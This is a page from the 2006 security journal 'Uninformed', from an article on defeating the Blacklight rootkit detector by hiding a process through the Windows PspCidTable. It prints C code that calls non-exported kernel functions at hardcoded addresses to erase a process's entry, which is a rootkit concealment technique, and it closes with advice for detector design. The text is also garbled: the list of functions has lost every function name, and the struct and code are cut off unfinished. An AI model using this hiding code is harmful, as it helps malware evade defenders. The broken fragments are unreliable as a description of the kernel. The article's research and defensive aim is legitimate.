Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan

Next: FUTo Up: Blacklight Previous: Windows OpenProcess   Contents

The PspCidTable

The PspCidTable is a "handle table for process and thread client IDs"[7]. Every process' PID corresponds to its location in the PspCidTable. The PspCidTable is a pointer to a HANDLE_TABLE structure.

typedef struct _HANDLE_TABLE {
   PVOID        p_hTable;
   PEPROCESS    QuotaProcess;
   PVOID        UniqueProcessId;
   EX_PUSH_LOCK HandleTableLock [4];
   LIST_ENTRY   HandleTableList;
   EX_PUSH_LOCK HandleContentionEvent;
   DWORD        ExtraInfoPages;
   DWORD        FirstFree;
   DWORD        LastFree;
   DWORD        NextHandleNeedingPool;
   DWORD        HandleCount;
   DWORD        Flags;

Windows offers a variety of non-exported functions to manipulate and retrieve information from the PspCidTable. These include:

creates non-process handle tables. The objects within all handle tables except the PspCidTable are pointers to object headers and not the address of the objects themselves.
is called when spawning a process.
is used for process rundown.
is called when a process is exiting.
creates new handle table entries.
is used to change the access mask on a handle.
implements the functionality of CloseHandle.
returns the address of the object corresponding to the handle.
tracing handles.
is used for handle searchers (for example in oh.exe).
Below is code that uses non-exported functions to remove a process object from the PspCidTable. It uses hardcoded addresses for the non-exported functions necessary; however, a rootkit could find these function addresses dynamically.

typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
                     ( IN PHANDLE_TABLE HandleTable,
                       IN HANDLE ProcessId);

void HideFromBlacklight(DWORD eproc)
               PHANDLE_TABLE_ENTRY CidEntry;
               ExMapHandleToPointerFUNC map;
               ExUnlockHandleTableEntryFUNC umap;
               PEPROCESS p;
               CLIENT_ID ClientId;
               map = (ExMapHandleToPointerFUNC)0x80493285;
               CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
                         LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
               if(CidEntry != NULL)
                  CidEntry->Object = 0;
Since the job of the PspCidTable is to keep track of all the processes and threads, it is logical that a rootkit detector could use the PspCidTable to find hidden processes. However, relying on a single data structure is not a very robust algorithm. If a rootkit alters this one data structure, the operating system and other programs will have no idea that the hidden process exists. New rootkit detection algorithms should be devised that have overlapping dependencies so that a single change will not go undetected.

Next: FUTo Up: Blacklight Previous: Windows OpenProcess   Contents